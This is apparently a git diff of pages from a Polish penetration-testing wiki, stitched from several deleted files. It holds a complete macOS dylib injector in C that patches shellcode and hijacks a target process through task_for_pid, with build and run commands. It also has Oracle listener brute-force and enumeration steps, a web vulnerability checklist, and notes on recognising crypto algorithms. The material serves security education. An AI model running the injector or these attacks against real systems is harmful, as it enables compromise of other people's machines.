"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
|
||||
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ;
|
||||
|
||||
|
||||
|
||||
|
||||
int inject(pid_t pid, const char *lib) {
|
||||
|
||||
task_t remoteTask;
|
||||
struct stat buf;
|
||||
|
||||
// Check if the library exists
|
||||
int rc = stat (lib, &buf);
|
||||
|
||||
if (rc != 0)
|
||||
{
|
||||
fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno));
|
||||
//return (-9);
|
||||
}
|
||||
|
||||
// Get access to the task port of the process we want to inject into
|
||||
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
|
||||
return (-1);
|
||||
}
|
||||
else{
|
||||
printf("Gathered privileges over the task port of process: %d\n", pid);
|
||||
}
|
||||
|
||||
// Allocate memory for the stack
|
||||
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
|
||||
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
|
||||
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
|
||||
return (-2);
|
||||
}
|
||||
else
|
||||
{
|
||||
|
||||
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
|
||||
}
|
||||
|
||||
// Allocate memory for the code
|
||||
remoteCode64 = (vm_address_t) NULL;
|
||||
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
|
||||
return (-2);
|
||||
}
|
||||
|
||||
|
||||
// Patch shellcode
|
||||
|
||||
int i = 0;
|
||||
char *possiblePatchLocation = (injectedCode );
|
||||
for (i = 0 ; i < 0x100; i++)
|
||||
{
|
||||
|
||||
// Patching is crude, but works.
|
||||
//
|
||||
extern void *_pthread_set_self;
|
||||
possiblePatchLocation++;
|
||||
|
||||
|
||||
uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread;
|
||||
uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit;
|
||||
uint64_t addrOfDlopen = (uint64_t) dlopen;
|
||||
|
||||
if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0)
|
||||
{
|
||||
memcpy(possiblePatchLocation, &addrOfPthreadExit,8);
|
||||
printf ("Pthread exit @%llx, %llx\n", addrOfPthreadExit, pthread_exit);
|
||||
}
|
||||
|
||||
if (memcmp (possiblePatchLocation, "PTHRDCRT", 8) == 0)
|
||||
{
|
||||
memcpy(possiblePatchLocation, &addrOfPthreadCreate,8);
|
||||
printf ("Pthread create from mach thread @%llx\n", addrOfPthreadCreate);
|
||||
}
|
||||
|
||||
if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0)
|
||||
{
|
||||
printf ("DLOpen @%llx\n", addrOfDlopen);
|
||||
memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t));
|
||||
}
|
||||
|
||||
if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0)
|
||||
{
|
||||
strcpy(possiblePatchLocation, lib );
|
||||
}
|
||||
}
|
||||
|
||||
// Write the shellcode to the allocated memory
|
||||
kr = mach_vm_write(remoteTask, // Task port
|
||||
remoteCode64, // Virtual Address (Destination)
|
||||
(vm_address_t) injectedCode, // Source
|
||||
0xa9); // Length of the source
|
||||
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
|
||||
return (-3);
|
||||
}
|
||||
|
||||
|
||||
// Set the permissions on the allocated code memory
|
||||
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
|
||||
return (-4);
|
||||
}
|
||||
|
||||
// Set the permissions on the allocated stack memory
|
||||
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
|
||||
return (-4);
|
||||
}
|
||||
|
||||
|
||||
// Create thread to run shellcode
|
||||
struct arm_unified_thread_state remoteThreadState64;
|
||||
thread_act_t remoteThread;
|
||||
|
||||
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
|
||||
|
||||
remoteStack64 += (STACK_SIZE / 2); // this is the real stack
|
||||
//remoteStack64 -= 8; // need alignment of 16
|
||||
|
||||
const char* p = (const char*) remoteCode64;
|
||||
|
||||
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
|
||||
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
|
||||
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
|
||||
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
|
||||
|
||||
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
|
||||
|
||||
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
|
||||
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
|
||||
|
||||
if (kr != KERN_SUCCESS) {
|
||||
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
|
||||
return (-3);
|
||||
}
|
||||
|
||||
return (0);
|
||||
}
|
||||
|
||||
|
||||
|
||||
int main(int argc, const char * argv[])
|
||||
{
|
||||
if (argc < 3)
|
||||
{
|
||||
fprintf (stderr, "Usage: %s _pid_ _action_\n", argv[0]);
|
||||
fprintf (stderr, " _action_: path to a dylib on disk\n");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
pid_t pid = atoi(argv[1]);
|
||||
const char *action = argv[2];
|
||||
struct stat buf;
|
||||
|
||||
int rc = stat (action, &buf);
|
||||
if (rc == 0) inject(pid,action);
|
||||
else
|
||||
{
|
||||
fprintf(stderr,"Dylib not found\n");
|
||||
}
|
||||
|
||||
}
|
||||
```
|
||||
</details>
|
||||
```bash
|
||||
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
|
||||
./inject <pid-of-mysleep> </path/to/lib.dylib>
|
||||
```
|
||||
### Przechwytywanie wątków za pomocą portu zadania <a href="#step-1-thread-hijacking" id="step-1-thread-hijacking"></a>
|
||||
|
||||
W tej technice wątek procesu jest przechwytywany:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md
|
||||
{{#endref}}
|
||||
|
||||
## XPC
|
||||
|
||||
### Podstawowe informacje
|
||||
|
||||
XPC, co oznacza XNU (jądro używane przez macOS), to framework do **komunikacji między procesami** na macOS i iOS. XPC zapewnia mechanizm do **bezpiecznych, asynchronicznych wywołań metod między różnymi procesami** w systemie. Jest częścią paradygmatu bezpieczeństwa Apple, umożliwiając **tworzenie aplikacji z oddzielonymi uprawnieniami**, gdzie każdy **komponent** działa z **tylko tymi uprawnieniami, które są mu potrzebne** do wykonania swojej pracy, ograniczając w ten sposób potencjalne szkody wynikające z kompromitacji procesu.
|
||||
|
||||
Aby uzyskać więcej informacji na temat tego, jak ta **komunikacja działa** i jak **może być podatna**, sprawdź:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/
|
||||
{{#endref}}
|
||||
|
||||
## MIG - Generator interfejsu Mach
|
||||
|
||||
MIG został stworzony, aby **uproszczyć proces tworzenia kodu Mach IPC**. W zasadzie **generuje potrzebny kod** dla serwera i klienta do komunikacji na podstawie danej definicji. Nawet jeśli wygenerowany kod jest brzydki, programista będzie musiał go tylko zaimportować, a jego kod będzie znacznie prostszy niż wcześniej.
|
||||
|
||||
Aby uzyskać więcej informacji, sprawdź:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md
|
||||
{{#endref}}
|
||||
|
||||
## Odniesienia
|
||||
|
||||
- [https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)
|
||||
- [https://knight.sc/malware/2019/03/15/code-injection-on-macos.html](https://knight.sc/malware/2019/03/15/code-injection-on-macos.html)
|
||||
- [https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a](https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a)
|
||||
- [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
- [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@ -1,61 +0,0 @@
|
||||
# 1521,1522-1529 - Pentesting Oracle TNS Listener
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
Oracle database (Oracle DB) to system zarządzania relacyjnymi bazami danych (RDBMS) od Oracle Corporation (z [tutaj](https://www.techopedia.com/definition/8711/oracle-database)).
|
||||
|
||||
Podczas enumeracji Oracle pierwszym krokiem jest komunikacja z TNS-Listener, który zazwyczaj znajduje się na domyślnym porcie (1521/TCP, -możesz również napotkać dodatkowe listenery na 1522–1529-).
|
||||
```
|
||||
1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows)
|
||||
1748/tcp open oracle-tns Oracle TNS Listener
|
||||
```
|
||||
## Podsumowanie
|
||||
|
||||
1. **Wykrywanie wersji**: Zidentyfikuj informacje o wersji, aby wyszukać znane luki.
|
||||
2. **Bruteforce TNS Listener**: Czasami konieczne do nawiązania komunikacji.
|
||||
3. **Wykrywanie nazw SID/Bruteforce**: Odkryj nazwy baz danych (SID).
|
||||
4. **Bruteforce poświadczeń**: Próba uzyskania dostępu do odkrytego SID.
|
||||
5. **Wykonanie kodu**: Próba uruchomienia kodu w systemie.
|
||||
|
||||
Aby używać modułów MSF oracle, musisz zainstalować kilka zależności: [**Instalacja**](oracle-pentesting-requirements-installation.md)
|
||||
|
||||
## Posty
|
||||
|
||||
Sprawdź te posty:
|
||||
|
||||
- [https://secybr.com/posts/oracle-pentesting-best-practices/](https://secybr.com/posts/oracle-pentesting-best-practices/)
|
||||
- [https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573](https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573)
|
||||
- [https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/)
|
||||
- [http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html](http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html)
|
||||
|
||||
## Automatyczne komendy HackTricks
|
||||
```
|
||||
Protocol_Name: Oracle #Protocol Abbreviation if there is one.
|
||||
Port_Number: 1521 #Comma separated if there is more than one.
|
||||
Protocol_Description: Oracle TNS Listener #Protocol Abbreviation Spelled out
|
||||
|
||||
Entry_1:
|
||||
Name: Notes
|
||||
Description: Notes for Oracle
|
||||
Note: |
|
||||
Oracle database (Oracle DB) is a relational database management system (RDBMS) from the Oracle Corporation
|
||||
|
||||
#great oracle enumeration tool
|
||||
navigate to https://github.com/quentinhardy/odat/releases/
|
||||
download the latest
|
||||
tar -xvf odat-linux-libc2.12-x86_64.tar.gz
|
||||
cd odat-libc2.12-x86_64/
|
||||
./odat-libc2.12-x86_64 all -s 10.10.10.82
|
||||
|
||||
for more details check https://github.com/quentinhardy/odat/wiki
|
||||
|
||||
https://book.hacktricks.wiki/en/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.html
|
||||
|
||||
Entry_2:
|
||||
Name: Nmap
|
||||
Description: Nmap with Oracle Scripts
|
||||
Command: nmap --script "oracle-tns-version" -p 1521 -T4 -sV {IP}
|
||||
```
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@ -1,130 +0,0 @@
|
||||
# Metodologia Wykrywania Wrażliwości w Sieci
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
W każdym teście penetracyjnym aplikacji webowej istnieje **wiele ukrytych i oczywistych miejsc, które mogą być wrażliwe**. Ten post ma na celu być listą kontrolną, aby potwierdzić, że przeszukałeś wrażliwości we wszystkich możliwych miejscach.
|
||||
|
||||
## Proxies
|
||||
|
||||
> [!TIP]
|
||||
> Obecnie **aplikacje** **webowe** zazwyczaj **używają** jakiegoś rodzaju **pośredniczących** **proxy**, które mogą być (nadużywane) do eksploatacji wrażliwości. Te wrażliwości wymagają, aby wrażliwe proxy było na miejscu, ale zazwyczaj potrzebują również dodatkowej wrażliwości w backendzie.
|
||||
|
||||
- [ ] [**Nadużywanie nagłówków hop-by-hop**](../abusing-hop-by-hop-headers.md)
|
||||
- [ ] [**Zatrucie pamięci podręcznej/Oszustwo pamięci podręcznej**](../cache-deception.md)
|
||||
- [ ] [**Smuggling żądań HTTP**](../http-request-smuggling/index.html)
|
||||
- [ ] [**Smuggling H2C**](../h2c-smuggling.md)
|
||||
- [ ] [**Inkluzja po stronie serwera/Inkluzja po stronie krawędzi**](../server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
- [ ] [**Odkrywanie Cloudflare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
|
||||
- [ ] [**Iniekcja XSLT po stronie serwera**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
- [ ] [**Obejście ochrony Proxy/WAF**](../proxy-waf-protections-bypass.md)
|
||||
|
||||
## **Wejście użytkownika**
|
||||
|
||||
> [!TIP]
|
||||
> Większość aplikacji webowych **pozwala użytkownikom na wprowadzenie danych, które będą przetwarzane później.**\
|
||||
> W zależności od struktury danych, które serwer oczekuje, niektóre wrażliwości mogą, ale nie muszą, mieć zastosowanie.
|
||||
|
||||
### **Wartości odzwierciedlone**
|
||||
|
||||
Jeśli wprowadzone dane mogą być w jakiś sposób odzwierciedlone w odpowiedzi, strona może być wrażliwa na kilka problemów.
|
||||
|
||||
- [ ] [**Iniekcja szablonów po stronie klienta**](../client-side-template-injection-csti.md)
|
||||
- [ ] [**Iniekcja poleceń**](../command-injection.md)
|
||||
- [ ] [**CRLF**](../crlf-0d-0a.md)
|
||||
- [ ] [**Zawieszone znaczniki**](../dangling-markup-html-scriptless-injection/index.html)
|
||||
- [ ] [**Inkluzja plików/Przechodzenie ścieżek**](../file-inclusion/index.html)
|
||||
- [ ] [**Otwarte przekierowanie**](../open-redirect.md)
|
||||
- [ ] [**Zanieczyszczenie prototypu do XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
|
||||
- [ ] [**Inkluzja po stronie serwera/Inkluzja po stronie krawędzi**](../server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
- [ ] [**Fałszerstwo żądań po stronie serwera**](../ssrf-server-side-request-forgery/index.html)
|
||||
- [ ] [**Iniekcja szablonów po stronie serwera**](../ssti-server-side-template-injection/index.html)
|
||||
- [ ] [**Odwrócone przechwytywanie kart**](../reverse-tab-nabbing.md)
|
||||
- [ ] [**Iniekcja XSLT po stronie serwera**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
- [ ] [**XSS**](../xss-cross-site-scripting/index.html)
|
||||
- [ ] [**XSSI**](../xssi-cross-site-script-inclusion.md)
|
||||
- [ ] [**XS-Search**](../xs-search.md)
|
||||
|
||||
Niektóre z wymienionych wrażliwości wymagają specjalnych warunków, inne po prostu wymagają, aby treść była odzwierciedlona. Możesz znaleźć kilka interesujących poliglotów do szybkiego testowania wrażliwości w:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../pocs-and-polygloths-cheatsheet/
|
||||
{{#endref}}
|
||||
|
||||
### **Funkcje wyszukiwania**
|
||||
|
||||
Jeśli funkcjonalność może być używana do wyszukiwania jakichkolwiek danych w backendzie, być może możesz (nadużyć) jej do wyszukiwania dowolnych danych.
|
||||
|
||||
- [ ] [**Inkluzja plików/Przechodzenie ścieżek**](../file-inclusion/index.html)
|
||||
- [ ] [**Iniekcja NoSQL**](../nosql-injection.md)
|
||||
- [ ] [**Iniekcja LDAP**](../ldap-injection.md)
|
||||
- [ ] [**ReDoS**](../regular-expression-denial-of-service-redos.md)
|
||||
- [ ] [**Iniekcja SQL**](../sql-injection/index.html)
|
||||
- [ ] [**Iniekcja XPATH**](../xpath-injection.md)
|
||||
|
||||
### **Formularze, WebSockety i PostMsgs**
|
||||
|
||||
Gdy websocket wysyła wiadomość lub formularz pozwalający użytkownikom na wykonywanie działań, mogą wystąpić wrażliwości.
|
||||
|
||||
- [ ] [**Fałszerstwo żądań między witrynami**](../csrf-cross-site-request-forgery.md)
|
||||
- [ ] [**Przechwytywanie WebSocketów między witrynami (CSWSH)**](../websocket-attacks.md)
|
||||
- [ ] [**Wrażliwości PostMessage**](../postmessage-vulnerabilities/index.html)
|
||||
|
||||
### **Nagłówki HTTP**
|
||||
|
||||
W zależności od nagłówków HTTP podawanych przez serwer webowy, mogą występować pewne wrażliwości.
|
||||
|
||||
- [ ] [**Clickjacking**](../clickjacking.md)
|
||||
- [ ] [**Obejście polityki bezpieczeństwa treści**](../content-security-policy-csp-bypass/index.html)
|
||||
- [ ] [**Hacking ciasteczek**](../hacking-with-cookies/index.html)
|
||||
- [ ] [**CORS - Błędy konfiguracyjne i obejścia**](../cors-bypass.md)
|
||||
|
||||
### **Obejścia**
|
||||
|
||||
Istnieje kilka specyficznych funkcjonalności, w których pewne obejścia mogą być przydatne.
|
||||
|
||||
- [ ] [**Obejście 2FA/OTP**](../2fa-bypass.md)
|
||||
- [ ] [**Obejście procesu płatności**](../bypass-payment-process.md)
|
||||
- [ ] [**Obejście Captcha**](../captcha-bypass.md)
|
||||
- [ ] [**Obejście logowania**](../login-bypass/index.html)
|
||||
- [ ] [**Warunek wyścigu**](../race-condition.md)
|
||||
- [ ] [**Obejście limitu szybkości**](../rate-limit-bypass.md)
|
||||
- [ ] [**Obejście resetowania zapomnianego hasła**](../reset-password.md)
|
||||
- [ ] [**Wrażliwości rejestracji**](../registration-vulnerabilities.md)
|
||||
|
||||
### **Obiekty strukturalne / Specyficzne funkcjonalności**
|
||||
|
||||
Niektóre funkcjonalności będą wymagały, aby **dane były ustrukturyzowane w bardzo specyficznym formacie** (jak zserializowany obiekt językowy lub XML). Dlatego łatwiej jest zidentyfikować, czy aplikacja może być wrażliwa, ponieważ musi przetwarzać tego rodzaju dane.\
|
||||
Niektóre **specyficzne funkcjonalności** mogą być również wrażliwe, jeśli użyty jest **specyficzny format wejścia** (jak Iniekcje nagłówków e-mail).
|
||||
|
||||
- [ ] [**Deserializacja**](../deserialization/index.html)
|
||||
- [ ] [**Iniekcja nagłówków e-mail**](../email-injections.md)
|
||||
- [ ] [**Wrażliwości JWT**](../hacking-jwt-json-web-tokens.md)
|
||||
- [ ] [**Zewnętrzny byt XML**](../xxe-xee-xml-external-entity.md)
|
||||
|
||||
### Pliki
|
||||
|
||||
Funkcjonalności, które pozwalają na przesyłanie plików, mogą być wrażliwe na kilka problemów.\
|
||||
Funkcjonalności, które generują pliki zawierające dane wejściowe użytkownika, mogą wykonywać nieoczekiwany kod.\
|
||||
Użytkownicy, którzy otwierają pliki przesyłane przez użytkowników lub automatycznie generowane, w tym dane wejściowe użytkownika, mogą być narażeni na niebezpieczeństwo.
|
||||
|
||||
- [ ] [**Przesyłanie plików**](../file-upload/index.html)
|
||||
- [ ] [**Iniekcja formuły**](../formula-csv-doc-latex-ghostscript-injection.md)
|
||||
- [ ] [**Iniekcja PDF**](../xss-cross-site-scripting/pdf-injection.md)
|
||||
- [ ] [**XSS po stronie serwera**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
|
||||
|
||||
### **Zarządzanie tożsamością zewnętrzną**
|
||||
|
||||
- [ ] [**OAUTH do przejęcia konta**](../oauth-to-account-takeover.md)
|
||||
- [ ] [**Ataki SAML**](../saml-attacks/index.html)
|
||||
|
||||
### **Inne pomocne wrażliwości**
|
||||
|
||||
Te wrażliwości mogą pomóc w eksploatacji innych wrażliwości.
|
||||
|
||||
- [ ] [**Przejęcie domeny/subdomeny**](../domain-subdomain-takeover.md)
|
||||
- [ ] [**IDOR**](../idor.md)
|
||||
- [ ] [**Zanieczyszczenie parametrów**](../parameter-pollution.md)
|
||||
- [ ] [**Wrażliwość normalizacji Unicode**](../unicode-injection/index.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@ -1,183 +0,0 @@
|
||||
# Algorytmy kryptograficzne/kompresji
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Identyfikacja algorytmów
|
||||
|
||||
Jeśli kończysz w kodzie **używając przesunięć w prawo i w lewo, xorów oraz kilku operacji arytmetycznych**, to jest bardzo prawdopodobne, że jest to implementacja **algorytmu kryptograficznego**. Poniżej przedstawione zostaną sposoby na **identyfikację algorytmu, który jest używany bez potrzeby odwracania każdego kroku**.
|
||||
|
||||
### Funkcje API
|
||||
|
||||
**CryptDeriveKey**
|
||||
|
||||
Jeśli ta funkcja jest używana, możesz znaleźć, który **algorytm jest używany**, sprawdzając wartość drugiego parametru:
|
||||
|
||||
 (1) (1) (1) (1).png>)
|
||||
|
||||
Sprawdź tutaj tabelę możliwych algorytmów i ich przypisanych wartości: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
|
||||
|
||||
**RtlCompressBuffer/RtlDecompressBuffer**
|
||||
|
||||
Kompresuje i dekompresuje dany bufor danych.
|
||||
|
||||
**CryptAcquireContext**
|
||||
|
||||
Z [dokumentacji](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): Funkcja **CryptAcquireContext** jest używana do uzyskania uchwytu do konkretnego kontenera kluczy w danym dostawcy usług kryptograficznych (CSP). **Ten zwrócony uchwyt jest używany w wywołaniach funkcji CryptoAPI**, które korzystają z wybranego CSP.
|
||||
|
||||
**CryptCreateHash**
|
||||
|
||||
Inicjuje haszowanie strumienia danych. Jeśli ta funkcja jest używana, możesz znaleźć, który **algorytm jest używany**, sprawdzając wartość drugiego parametru:
|
||||
|
||||
.png>)
|
||||
|
||||
\
|
||||
Sprawdź tutaj tabelę możliwych algorytmów i ich przypisanych wartości: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
|
||||
|
||||
### Stałe kodu
|
||||
|
||||
Czasami naprawdę łatwo jest zidentyfikować algorytm dzięki temu, że musi używać specjalnej i unikalnej wartości.
|
||||
|
||||
.png>)
|
||||
|
||||
Jeśli wyszukasz pierwszą stałą w Google, oto co otrzymasz:
|
||||
|
||||
.png>)
|
||||
|
||||
Dlatego możesz założyć, że zdekompilowana funkcja to **kalkulator sha256.**\
|
||||
Możesz wyszukać dowolną z innych stałych, a prawdopodobnie uzyskasz ten sam wynik.
|
||||
|
||||
### Informacje o danych
|
||||
|
||||
Jeśli kod nie ma żadnej znaczącej stałej, może być **ładowany informacje z sekcji .data**.\
|
||||
Możesz uzyskać dostęp do tych danych, **grupując pierwszy dword** i wyszukując go w Google, tak jak zrobiliśmy w poprzedniej sekcji:
|
||||
|
||||
.png>)
|
||||
|
||||
W tym przypadku, jeśli poszukasz **0xA56363C6**, możesz znaleźć, że jest to związane z **tabelami algorytmu AES**.
|
||||
|
||||
## RC4 **(Symetryczna kryptografia)**
|
||||
|
||||
### Cechy
|
||||
|
||||
Składa się z 3 głównych części:
|
||||
|
||||
- **Etap inicjalizacji/**: Tworzy **tabelę wartości od 0x00 do 0xFF** (łącznie 256 bajtów, 0x100). Ta tabela jest powszechnie nazywana **Substitution Box** (lub SBox).
|
||||
- **Etap mieszania**: Będzie **przechodzić przez tabelę** utworzoną wcześniej (pętla 0x100 iteracji, ponownie) modyfikując każdą wartość za pomocą **półlosowych** bajtów. Aby stworzyć te półlosowe bajty, używany jest klucz RC4. Klucze RC4 mogą mieć **od 1 do 256 bajtów długości**, jednak zazwyczaj zaleca się, aby miały więcej niż 5 bajtów. Zwykle klucze RC4 mają długość 16 bajtów.
|
||||
- **Etap XOR**: Na koniec, tekst jawny lub szyfrogram jest **XORowany z wartościami utworzonymi wcześniej**. Funkcja do szyfrowania i deszyfrowania jest taka sama. W tym celu zostanie wykonana **pętla przez utworzone 256 bajtów** tyle razy, ile to konieczne. Zwykle jest to rozpoznawane w zdekompilowanym kodzie z **%256 (mod 256)**.
|
||||
|
||||
> [!TIP]
|
||||
> **Aby zidentyfikować RC4 w kodzie disassembly/zdekompilowanym, możesz sprawdzić 2 pętle o rozmiarze 0x100 (z użyciem klucza), a następnie XOR danych wejściowych z 256 wartościami utworzonymi wcześniej w 2 pętlach, prawdopodobnie używając %256 (mod 256)**
|
||||
|
||||
### **Etap inicjalizacji/Substitution Box:** (Zauważ liczbę 256 używaną jako licznik i jak 0 jest zapisywane w każdym miejscu 256 znaków)
|
||||
|
||||
.png>)
|
||||
|
||||
### **Etap mieszania:**
|
||||
|
||||
.png>)
|
||||
|
||||
### **Etap XOR:**
|
||||
|
||||
.png>)
|
||||
|
||||
## **AES (Symetryczna kryptografia)**
|
||||
|
||||
### **Cechy**
|
||||
|
||||
- Użycie **tabel substytucyjnych i tabel wyszukiwania**
|
||||
- Możliwe jest **rozróżnienie AES dzięki użyciu specyficznych wartości tabel wyszukiwania** (stałych). _Zauważ, że **stała** może być **przechowywana** w binarnym **lub tworzona** _**dynamicznie**._
|
||||
- **Klucz szyfrowania** musi być **podzielny** przez **16** (zwykle 32B) i zazwyczaj używa się **IV** o długości 16B.
|
||||
|
||||
### Stałe SBox
|
||||
|
||||
.png>)
|
||||
|
||||
## Serpent **(Symetryczna kryptografia)**
|
||||
|
||||
### Cechy
|
||||
|
||||
- Rzadko można znaleźć złośliwe oprogramowanie używające go, ale są przykłady (Ursnif)
|
||||
- Łatwo określić, czy algorytm to Serpent, czy nie, na podstawie jego długości (ekstremalnie długa funkcja)
|
||||
|
||||
### Identyfikacja
|
||||
|
||||
Na poniższym obrazie zauważ, jak stała **0x9E3779B9** jest używana (zauważ, że ta stała jest również używana przez inne algorytmy kryptograficzne, takie jak **TEA** - Tiny Encryption Algorithm).\
|
||||
Zauważ także **rozmiar pętli** (**132**) i **liczbę operacji XOR** w instrukcjach **disassembly** oraz w przykładzie **kodu**:
|
||||
|
||||
.png>)
|
||||
|
||||
Jak wspomniano wcześniej, ten kod może być wizualizowany w dowolnym dekompilatorze jako **bardzo długa funkcja**, ponieważ **nie ma skoków** w jej wnętrzu. Zdekompilowany kod może wyglądać następująco:
|
||||
|
||||
.png>)
|
||||
|
||||
Dlatego możliwe jest zidentyfikowanie tego algorytmu, sprawdzając **magiczną liczbę** i **początkowe XORy**, widząc **bardzo długą funkcję** i **porównując** niektóre **instrukcje** długiej funkcji **z implementacją** (jak przesunięcie w lewo o 7 i obrót w lewo o 22).
|
||||
|
||||
## RSA **(Asymetryczna kryptografia)**
|
||||
|
||||
### Cechy
|
||||
|
||||
- Bardziej złożone niż algorytmy symetryczne
|
||||
- Nie ma stałych! (trudno określić niestandardowe implementacje)
|
||||
- KANAL (analityk kryptograficzny) nie pokazuje wskazówek dotyczących RSA, ponieważ opiera się na stałych.
|
||||
|
||||
### Identyfikacja przez porównania
|
||||
|
||||
.png>)
|
||||
|
||||
- W linii 11 (po lewej) znajduje się `+7) >> 3`, co jest takie samo jak w linii 35 (po prawej): `+7) / 8`
|
||||
- Linia 12 (po lewej) sprawdza, czy `modulus_len < 0x040`, a w linii 36 (po prawej) sprawdza, czy `inputLen+11 > modulusLen`
|
||||
|
||||
## MD5 i SHA (hash)
|
||||
|
||||
### Cechy
|
||||
|
||||
- 3 funkcje: Init, Update, Final
|
||||
- Podobne funkcje inicjalizacyjne
|
||||
|
||||
### Identyfikacja
|
||||
|
||||
**Init**
|
||||
|
||||
Możesz zidentyfikować obie, sprawdzając stałe. Zauważ, że sha_init ma 1 stałą, której MD5 nie ma:
|
||||
|
||||
.png>)
|
||||
|
||||
**MD5 Transform**
|
||||
|
||||
Zauważ użycie większej liczby stałych
|
||||
|
||||
 (1) (1) (1).png>)
|
||||
|
||||
## CRC (hash)
|
||||
|
||||
- Mniejszy i bardziej wydajny, ponieważ jego funkcją jest znajdowanie przypadkowych zmian w danych
|
||||
- Używa tabel wyszukiwania (więc możesz zidentyfikować stałe)
|
||||
|
||||
### Identyfikacja
|
||||
|
||||
